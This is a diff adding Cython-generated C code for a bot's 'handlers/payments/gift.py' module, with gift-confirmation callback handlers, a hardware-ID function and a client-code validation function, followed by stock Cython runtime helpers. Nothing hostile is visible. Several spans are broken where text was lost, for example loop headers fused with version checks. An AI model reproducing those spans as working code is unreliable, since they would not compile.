__Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_confirm_gift_handler, NULL, __pyx_n_s_handlers_payments_gift, __pyx_d, ((PyObject *)__pyx_codeobj__25)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_4); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_confirm_gift_handler, __pyx_t_4) < 0) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/gift.py":137 + * + * + * @router.callback_query(F.data.startswith("confirm_gift|")) # <<<<<<<<<<<<<< + * async def finalize_gift_handler(callback_query: types.CallbackQuery, state: FSMContext, session: Any): + * """ .""" + */ + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_router); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_F); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_data); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_startswith); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__53, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 137, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 137, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 137, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_4gift_13finalize_gift_handler, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_finalize_gift_handler, NULL, __pyx_n_s_handlers_payments_gift, __pyx_d, ((PyObject *)__pyx_codeobj__32)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_finalize_gift_handler, __pyx_t_2) < 0) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":174 + * + * + * def get_hardware_id(): # <<<<<<<<<<<<<< + * """ + * hardware-. + */ + __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_4gift_16get_hardware_id, 0, __pyx_n_s_get_hardware_id, NULL, __pyx_n_s_handlers_payments_gift, __pyx_d, ((PyObject *)__pyx_codeobj__56)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 174, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_get_hardware_id, __pyx_t_2) < 0) __PYX_ERR(0, 174, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":190 + * return None + * + * async def validate_client_code(): # <<<<<<<<<<<<<< + * """ + * hardware ID . + */ + __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_4gift_18validate_client_code, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_validate_client_code, NULL, __pyx_n_s_handlers_payments_gift, __pyx_d, ((PyObject *)__pyx_codeobj__39)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 190, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_validate_client_code, __pyx_t_2) < 0) __PYX_ERR(0, 190, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":1 + * import hashlib # <<<<<<<<<<<<<< + * import platform + * import subprocess + */ + __pyx_t_2 = __Pyx_PyDict_NewPresized(0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_test, __pyx_t_2) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /*--- Wrapped vars code ---*/ + + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_4); + if (__pyx_m) { + if (__pyx_d && stringtab_initialized) { + __Pyx_AddTraceback("init handlers.payments.gift", __pyx_clineno, __pyx_lineno, __pyx_filename); + } + #if !CYTHON_USE_MODULE_STATE + Py_CLEAR(__pyx_m); + #else + Py_DECREF(__pyx_m); + if (pystate_addmodule_run) { + PyObject *tp, *value, *tb; + PyErr_Fetch(&tp, &value, &tb); + PyState_RemoveModule(&__pyx_moduledef); + PyErr_Restore(tp, value, tb); + } + #endif + } else if (!PyErr_Occurred()) { + PyErr_SetString(PyExc_ImportError, "init handlers.payments.gift"); + } + __pyx_L0:; + __Pyx_RefNannyFinishContext(); + #if CYTHON_PEP489_MULTI_PHASE_INIT + return (__pyx_m != NULL) ? 0 : -1; + #elif PY_MAJOR_VERSION >= 3 + return __pyx_m; + #else + return; + #endif +} +/* #### Code section: cleanup_globals ### */ +/* #### Code section: cleanup_module ### */ +/* #### Code section: main_method ### */ +/* #### Code section: utility_code_pragmas ### */ +#ifdef _MSC_VER +#pragma warning( push ) +/* Warning 4127: conditional expression is constant + * Cython uses constant conditional expressions to allow in inline functions to be optimized at + * compile-time, so this warning is not useful + */ +#pragma warning( disable : 4127 ) +#endif + + + +/* #### Code section: utility_code_def ### */ + +/* --- Runtime support code --- */ +/* Refnanny */ +#if CYTHON_REFNANNY +static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname) { + PyObject *m = NULL, *p = NULL; + void *r = NULL; + m = PyImport_ImportModule(modname); + if (!m) goto end; + p = PyObject_GetAttrString(m, "RefNannyAPI"); + if (!p) goto end; + r = PyLong_AsVoidPtr(p); +end: + Py_XDECREF(p); + Py_XDECREF(m); + return (__Pyx_RefNannyAPIStruct *)r; +} +#endif + +/* PyErrExceptionMatches */ +#if CYTHON_FAST_THREAD_STATE +static int __Pyx_PyErr_ExceptionMatchesTuple(PyObject *exc_type, PyObject *tuple) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(tuple); +#if PY_MAJOR_VERSION >= 3 + for (i=0; i= 0x030C00A6 + PyObject *current_exception = tstate->current_exception; + if (unlikely(!current_exception)) return 0; + exc_type = (PyObject*) Py_TYPE(current_exception); + if (exc_type == err) return 1; +#else + exc_type = tstate->curexc_type; + if (exc_type == err) return 1; + if (unlikely(!exc_type)) return 0; +#endif + #if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(exc_type); + #endif + if (unlikely(PyTuple_Check(err))) { + result = __Pyx_PyErr_ExceptionMatchesTuple(exc_type, err); + } else { + result = __Pyx_PyErr_GivenExceptionMatches(exc_type, err); + } + #if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(exc_type); + #endif + return result; +} +#endif + +/* PyErrFetchRestore */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { +#if PY_VERSION_HEX >= 0x030C00A6 + PyObject *tmp_value; + assert(type == NULL || (value != NULL && type == (PyObject*) Py_TYPE(value))); + if (value) { + #if CYTHON_COMPILING_IN_CPYTHON + if (unlikely(((PyBaseExceptionObject*) value)->traceback != tb)) + #endif + PyException_SetTraceback(value, tb); + } + tmp_value = tstate->current_exception; + tstate->current_exception = value; + Py_XDECREF(tmp_value); + Py_XDECREF(type); + Py_XDECREF(tb); +#else + PyObject *tmp_type, *tmp_value, *tmp_tb; + tmp_type = tstate->curexc_type; + tmp_value = tstate->curexc_value; + tmp_tb = tstate->curexc_traceback; + tstate->curexc_type = type; + tstate->curexc_value = value; + tstate->curexc_traceback = tb; + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); +#endif +} +static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { +#if PY_VERSION_HEX >= 0x030C00A6 + PyObject* exc_value; + exc_value = tstate->current_exception; + tstate->current_exception = 0; + *value = exc_value; + *type = NULL; + *tb = NULL; + if (exc_value) { + *type = (PyObject*) Py_TYPE(exc_value); + Py_INCREF(*type); + #if CYTHON_COMPILING_IN_CPYTHON + *tb = ((PyBaseExceptionObject*) exc_value)->traceback; + Py_XINCREF(*tb); + #else + *tb = PyException_GetTraceback(exc_value); + #endif + } +#else + *type = tstate->curexc_type; + *value = tstate->curexc_value; + *tb = tstate->curexc_traceback; + tstate->curexc_type = 0; + tstate->curexc_value = 0; + tstate->curexc_traceback = 0; +#endif +} +#endif + +/* PyObjectGetAttrStr */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name) { + PyTypeObject* tp = Py_TYPE(obj); + if (likely(tp->tp_getattro)) + return tp->tp_getattro(obj, attr_name); +#if PY_MAJOR_VERSION < 3 + if (likely(tp->tp_getattr)) + return tp->tp_getattr(obj, PyString_AS_STRING(attr_name)); +#endif + return PyObject_GetAttr(obj, attr_name); +} +#endif + +/* PyObjectGetAttrStrNoError */ +#if __PYX_LIMITED_VERSION_HEX < 0x030d00A1 +static void __Pyx_PyObject_GetAttrStr_ClearAttributeError(void) { + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + if (likely(__Pyx_PyErr_ExceptionMatches(PyExc_AttributeError))) + __Pyx_PyErr_Clear(); +} +#endif +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStrNoError(PyObject* obj, PyObject* attr_name) { + PyObject *result; +#if __PYX_LIMITED_VERSION_HEX >= 0x030d00A1 + (void) PyObject_GetOptionalAttr(obj, attr_name, &result); + return result; +#else +#if CYTHON_COMPILING_IN_CPYTHON && CYTHON_USE_TYPE_SLOTS && PY_VERSION_HEX >= 0x030700B1 + PyTypeObject* tp = Py_TYPE(obj); + if (likely(tp->tp_getattro == PyObject_GenericGetAttr)) { + return _PyObject_GenericGetAttrWithDict(obj, attr_name, NULL, 1); + } +#endif + result = __Pyx_PyObject_GetAttrStr(obj, attr_name); + if (unlikely(!result)) { + __Pyx_PyObject_GetAttrStr_ClearAttributeError(); + } + return result; +#endif +} + +/* GetBuiltinName */ +static PyObject *__Pyx_GetBuiltinName(PyObject *name) { + PyObject* result = __Pyx_PyObject_GetAttrStrNoError(__pyx_b, name); + if (unlikely(!result) && !PyErr_Occurred()) { + PyErr_Format(PyExc_NameError, +#if PY_MAJOR_VERSION >= 3 + "name '%U' is not defined", name); +#else + "name '%.200s' is not defined", PyString_AS_STRING(name)); +#endif + } + return result; +} + +/* TupleAndListFromArray */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE void __Pyx_copy_object_array(PyObject *const *CYTHON_RESTRICT src, PyObject** CYTHON_RESTRICT dest, Py_ssize_t length) { + PyObject *v; + Py_ssize_t i; + for (i = 0; i < length; i++) { + v = dest[i] = src[i]; + Py_INCREF(v); + } +} +static CYTHON_INLINE PyObject * +__Pyx_PyTuple_FromArray(PyObject *const *src, Py_ssize_t n) +{ + PyObject *res; + if (n <= 0) { + Py_INCREF(__pyx_empty_tuple); + return __pyx_empty_tuple; + } + res = PyTuple_New(n); + if (unlikely(res == NULL)) return NULL; + __Pyx_copy_object_array(src, ((PyTupleObject*)res)->ob_item, n); + return res; +} +static CYTHON_INLINE PyObject * +__Pyx_PyList_FromArray(PyObject *const *src, Py_ssize_t n) +{ + PyObject *res; + if (n <= 0) { + return PyList_New(0); + } + res = PyList_New(n); + if (unlikely(res == NULL)) return NULL; + __Pyx_copy_object_array(src, ((PyListObject*)res)->ob_item, n); + return res; +} +#endif + +/* BytesEquals */ +static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals) { +#if CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API + return PyObject_RichCompareBool(s1, s2, equals); +#else + if (s1 == s2) { + return (equals == Py_EQ); + } else if (PyBytes_CheckExact(s1) & PyBytes_CheckExact(s2)) { + const char *ps1, *ps2; + Py_ssize_t length = PyBytes_GET_SIZE(s1); + if (length != PyBytes_GET_SIZE(s2)) + return (equals == Py_NE); + ps1 = PyBytes_AS_STRING(s1); + ps2 = PyBytes_AS_STRING(s2); + if (ps1[0] != ps2[0]) { + return (equals == Py_NE); + } else if (length == 1) { + return (equals == Py_EQ); + } else { + int result; +#if CYTHON_USE_UNICODE_INTERNALS && (PY_VERSION_HEX < 0x030B0000) + Py_hash_t hash1, hash2; + hash1 = ((PyBytesObject*)s1)->ob_shash; + hash2 = ((PyBytesObject*)s2)->ob_shash; + if (hash1 != hash2 && hash1 != -1 && hash2 != -1) { + return (equals == Py_NE); + } +#endif + result = memcmp(ps1, ps2, (size_t)length); + return (equals == Py_EQ) ? (result == 0) : (result != 0); + } + } else if ((s1 == Py_None) & PyBytes_CheckExact(s2)) { + return (equals == Py_NE); + } else if ((s2 == Py_None) & PyBytes_CheckExact(s1)) { + return (equals == Py_NE); + } else { + int result; + PyObject* py_result = PyObject_RichCompare(s1, s2, equals); + if (!py_result) + return -1; + result = __Pyx_PyObject_IsTrue(py_result); + Py_DECREF(py_result); + return result; + } +#endif +} + +/* UnicodeEquals */ +static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals) { +#if CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API + return PyObject_RichCompareBool(s1, s2, equals); +#else +#if PY_MAJOR_VERSION < 3 + PyObject* owned_ref = NULL; +#endif + int s1_is_unicode, s2_is_unicode; + if (s1 == s2) { + goto return_eq; + } + s1_is_unicode = PyUnicode_CheckExact(s1); + s2_is_unicode = PyUnicode_CheckExact(s2); +#if PY_MAJOR_VERSION < 3 + if ((s1_is_unicode & (!s2_is_unicode)) && PyString_CheckExact(s2)) { + owned_ref = PyUnicode_FromObject(s2); + if (unlikely(!owned_ref)) + return -1; + s2 = owned_ref; + s2_is_unicode = 1; + } else if ((s2_is_unicode & (!s1_is_unicode)) && PyString_CheckExact(s1)) { + owned_ref = PyUnicode_FromObject(s1); + if (unlikely(!owned_ref)) + return -1; + s1 = owned_ref; + s1_is_unicode = 1; + } else if (((!s2_is_unicode) & (!s1_is_unicode))) { + return __Pyx_PyBytes_Equals(s1, s2, equals); + } +#endif + if (s1_is_unicode & s2_is_unicode) { + Py_ssize_t length; + int kind; + void *data1, *data2; + if (unlikely(__Pyx_PyUnicode_READY(s1) < 0) || unlikely(__Pyx_PyUnicode_READY(s2) < 0)) + return -1; + length = __Pyx_PyUnicode_GET_LENGTH(s1); + if (length != __Pyx_PyUnicode_GET_LENGTH(s2)) { + goto return_ne; + } +#if CYTHON_USE_UNICODE_INTERNALS + { + Py_hash_t hash1, hash2; + #if CYTHON_PEP393_ENABLED + hash1 = ((PyASCIIObject*)s1)->hash; + hash2 = ((PyASCIIObject*)s2)->hash; + #else + hash1 = ((PyUnicodeObject*)s1)->hash; + hash2 = ((PyUnicodeObject*)s2)->hash; + #endif + if (hash1 != hash2 && hash1 != -1 && hash2 != -1) { + goto return_ne; + } + } +#endif + kind = __Pyx_PyUnicode_KIND(s1); + if (kind != __Pyx_PyUnicode_KIND(s2)) { + goto return_ne; + } + data1 = __Pyx_PyUnicode_DATA(s1); + data2 = __Pyx_PyUnicode_DATA(s2); + if (__Pyx_PyUnicode_READ(kind, data1, 0) != __Pyx_PyUnicode_READ(kind, data2, 0)) { + goto return_ne; + } else if (length == 1) { + goto return_eq; + } else { + int result = memcmp(data1, data2, (size_t)(length * kind)); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_EQ) ? (result == 0) : (result != 0); + } + } else if ((s1 == Py_None) & s2_is_unicode) { + goto return_ne; + } else if ((s2 == Py_None) & s1_is_unicode) { + goto return_ne; + } else { + int result; + PyObject* py_result = PyObject_RichCompare(s1, s2, equals); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + if (!py_result) + return -1; + result = __Pyx_PyObject_IsTrue(py_result); + Py_DECREF(py_result); + return result; + } +return_eq: + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_EQ); +return_ne: + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_NE); +#endif +} + +/* fastcall */ +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE PyObject * __Pyx_GetKwValue_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues, PyObject *s) +{ + Py_ssize_t i, n = PyTuple_GET_SIZE(kwnames); + for (i = 0; i < n; i++) + { + if (s == PyTuple_GET_ITEM(kwnames, i)) return kwvalues[i]; + } + for (i = 0; i < n; i++) + { + int eq = __Pyx_PyUnicode_Equals(s, PyTuple_GET_ITEM(kwnames, i), Py_EQ); + if (unlikely(eq != 0)) { + if (unlikely(eq < 0)) return NULL; + return kwvalues[i]; + } + } + return NULL; +} +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030d0000 +CYTHON_UNUSED static PyObject *__Pyx_KwargsAsDict_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues) { + Py_ssize_t i, nkwargs = PyTuple_GET_SIZE(kwnames); + PyObject *dict; + dict = PyDict_New(); + if (unlikely(!dict)) + return NULL; + for (i=0; i= 3 + "%s() got multiple values for keyword argument '%U'", func_name, kw_name); + #else + "%s() got multiple values for keyword argument '%s'", func_name, + PyString_AsString(kw_name)); + #endif +} + +/* ParseKeywords */ +static int __Pyx_ParseOptionalKeywords( + PyObject *kwds, + PyObject *const *kwvalues, + PyObject **argnames[], + PyObject *kwds2, + PyObject *values[], + Py_ssize_t num_pos_args, + const char* function_name) +{ + PyObject *key = 0, *value = 0; + Py_ssize_t pos = 0; + PyObject*** name; + PyObject*** first_kw_arg = argnames + num_pos_args; + int kwds_is_tuple = CYTHON_METH_FASTCALL && likely(PyTuple_Check(kwds)); + while (1) { + Py_XDECREF(key); key = NULL; + Py_XDECREF(value); value = NULL; + if (kwds_is_tuple) { + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(kwds); +#else + size = PyTuple_Size(kwds); + if (size < 0) goto bad; +#endif + if (pos >= size) break; +#if CYTHON_AVOID_BORROWED_REFS + key = __Pyx_PySequence_ITEM(kwds, pos); + if (!key) goto bad; +#elif CYTHON_ASSUME_SAFE_MACROS + key = PyTuple_GET_ITEM(kwds, pos); +#else + key = PyTuple_GetItem(kwds, pos); + if (!key) goto bad; +#endif + value = kwvalues[pos]; + pos++; + } + else + { + if (!PyDict_Next(kwds, &pos, &key, &value)) break; +#if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(key); +#endif + } + name = first_kw_arg; + while (*name && (**name != key)) name++; + if (*name) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(value); + Py_DECREF(key); +#endif + key = NULL; + value = NULL; + continue; + } +#if !CYTHON_AVOID_BORROWED_REFS + Py_INCREF(key); +#endif + Py_INCREF(value); + name = first_kw_arg; + #if PY_MAJOR_VERSION < 3 + if (likely(PyString_Check(key))) { + while (*name) { + if ((CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**name) == PyString_GET_SIZE(key)) + && _PyString_Eq(**name, key)) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + value = NULL; +#endif + break; + } + name++; + } + if (*name) continue; + else { + PyObject*** argname = argnames; + while (argname != first_kw_arg) { + if ((**argname == key) || ( + (CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**argname) == PyString_GET_SIZE(key)) + && _PyString_Eq(**argname, key))) { + goto arg_passed_twice; + } + argname++; + } + } + } else + #endif + if (likely(PyUnicode_Check(key))) { + while (*name) { + int cmp = ( + #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 + (__Pyx_PyUnicode_GET_LENGTH(**name) != __Pyx_PyUnicode_GET_LENGTH(key)) ? 1 : + #endif + PyUnicode_Compare(**name, key) + ); + if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; + if (cmp == 0) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + value = NULL; +#endif + break; + } + name++; + } + if (*name) continue; + else { + PyObject*** argname = argnames; + while (argname != first_kw_arg) { + int cmp = (**argname == key) ? 0 : + #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 + (__Pyx_PyUnicode_GET_LENGTH(**argname) != __Pyx_PyUnicode_GET_LENGTH(key)) ? 1 : + #endif + PyUnicode_Compare(**argname, key); + if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; + if (cmp == 0) goto arg_passed_twice; + argname++; + } + } + } else + goto invalid_keyword_type; + if (kwds2) { + if (unlikely(PyDict_SetItem(kwds2, key, value))) goto bad; + } else { + goto invalid_keyword; + } + } + Py_XDECREF(key); + Py_XDECREF(value); + return 0; +arg_passed_twice: + __Pyx_RaiseDoubleKeywordsError(function_name, key); + goto bad; +invalid_keyword_type: + PyErr_Format(PyExc_TypeError, + "%.200s() keywords must be strings", function_name); + goto bad; +invalid_keyword: + #if PY_MAJOR_VERSION < 3 + PyErr_Format(PyExc_TypeError, + "%.200s() got an unexpected keyword argument '%.200s'", + function_name, PyString_AsString(key)); + #else + PyErr_Format(PyExc_TypeError, + "%s() got an unexpected keyword argument '%U'", + function_name, key); + #endif +bad: + Py_XDECREF(key); + Py_XDECREF(value); + return -1; +} + +/* RaiseArgTupleInvalid */ +static void __Pyx_RaiseArgtupleInvalid( + const char* func_name, + int exact, + Py_ssize_t num_min, + Py_ssize_t num_max, + Py_ssize_t num_found) +{ + Py_ssize_t num_expected; + const char *more_or_less; + if (num_found < num_min) { + num_expected = num_min; + more_or_less = "at least"; + } else { + num_expected = num_max; + more_or_less = "at most"; + } + if (exact) { + more_or_less = "exactly"; + } + PyErr_Format(PyExc_TypeError, + "%.200s() takes %.8s %" CYTHON_FORMAT_SSIZE_T "d positional argument%.1s (%" CYTHON_FORMAT_SSIZE_T "d given)", + func_name, more_or_less, num_expected, + (num_expected == 1) ? "" : "s", num_found); +} + +/* PyDictVersioning */ +#if CYTHON_USE_DICT_VERSIONS && CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PY_UINT64_T __Pyx_get_tp_dict_version(PyObject *obj) { + PyObject *dict = Py_TYPE(obj)->tp_dict; + return likely(dict) ? __PYX_GET_DICT_VERSION(dict) : 0; +} +static CYTHON_INLINE PY_UINT64_T __Pyx_get_object_dict_version(PyObject *obj) { + PyObject **dictptr = NULL; + Py_ssize_t offset = Py_TYPE(obj)->tp_dictoffset; + if (offset) { +#if CYTHON_COMPILING_IN_CPYTHON + dictptr = (likely(offset > 0)) ? (PyObject **) ((char *)obj + offset) : _PyObject_GetDictPtr(obj); +#else + dictptr = _PyObject_GetDictPtr(obj); +#endif + } + return (dictptr && *dictptr) ? __PYX_GET_DICT_VERSION(*dictptr) : 0; +} +static CYTHON_INLINE int __Pyx_object_dict_version_matches(PyObject* obj, PY_UINT64_T tp_dict_version, PY_UINT64_T obj_dict_version) { + PyObject *dict = Py_TYPE(obj)->tp_dict; + if (unlikely(!dict) || unlikely(tp_dict_version != __PYX_GET_DICT_VERSION(dict))) + return 0; + return obj_dict_version == __Pyx_get_object_dict_version(obj); +} +#endif + +/* GetModuleGlobalName */ +#if CYTHON_USE_DICT_VERSIONS +static PyObject *__Pyx__GetModuleGlobalName(PyObject *name, PY_UINT64_T *dict_version, PyObject **dict_cached_value) +#else +static CYTHON_INLINE PyObject *__Pyx__GetModuleGlobalName(PyObject *name) +#endif +{ + PyObject *result; +#if !CYTHON_AVOID_BORROWED_REFS +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030500A1 && PY_VERSION_HEX < 0x030d0000 + result = _PyDict_GetItem_KnownHash(__pyx_d, name, ((PyASCIIObject *) name)->hash); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } else if (unlikely(PyErr_Occurred())) { + return NULL; + } +#elif CYTHON_COMPILING_IN_LIMITED_API + if (unlikely(!__pyx_m)) { + return NULL; + } + result = PyObject_GetAttr(__pyx_m, name); + if (likely(result)) { + return result; + } +#else + result = PyDict_GetItem(__pyx_d, name); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } +#endif +#else + result = PyObject_GetItem(__pyx_d, name); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } + PyErr_Clear(); +#endif + return __Pyx_GetBuiltinName(name); +} + +/* PyFunctionFastCall */ +#if CYTHON_FAST_PYCALL && !CYTHON_VECTORCALL +static PyObject* __Pyx_PyFunction_FastCallNoKw(PyCodeObject *co, PyObject **args, Py_ssize_t na, + PyObject *globals) { + PyFrameObject *f; + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject **fastlocals; + Py_ssize_t i; + PyObject *result; + assert(globals != NULL); + /* XXX Perhaps we should create a specialized + PyFrame_New() that doesn't take locals, but does + take builtins without sanity checking them. + */ + assert(tstate != NULL); + f = PyFrame_New(tstate, co, globals, NULL); + if (f == NULL) { + return NULL; + } + fastlocals = __Pyx_PyFrame_GetLocalsplus(f); + for (i = 0; i < na; i++) { + Py_INCREF(*args); + fastlocals[i] = *args++; + } + result = PyEval_EvalFrameEx(f,0); + ++tstate->recursion_depth; + Py_DECREF(f); + --tstate->recursion_depth; + return result; +} +static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, Py_ssize_t nargs, PyObject *kwargs) { + PyCodeObject *co = (PyCodeObject *)PyFunction_GET_CODE(func); + PyObject *globals = PyFunction_GET_GLOBALS(func); + PyObject *argdefs = PyFunction_GET_DEFAULTS(func); + PyObject *closure; +#if PY_MAJOR_VERSION >= 3 + PyObject *kwdefs; +#endif + PyObject *kwtuple, **k; + PyObject **d; + Py_ssize_t nd; + Py_ssize_t nk; + PyObject *result; + assert(kwargs == NULL || PyDict_Check(kwargs)); + nk = kwargs ? PyDict_Size(kwargs) : 0; + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) { + return NULL; + } + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) { + return NULL; + } + #endif + if ( +#if PY_MAJOR_VERSION >= 3 + 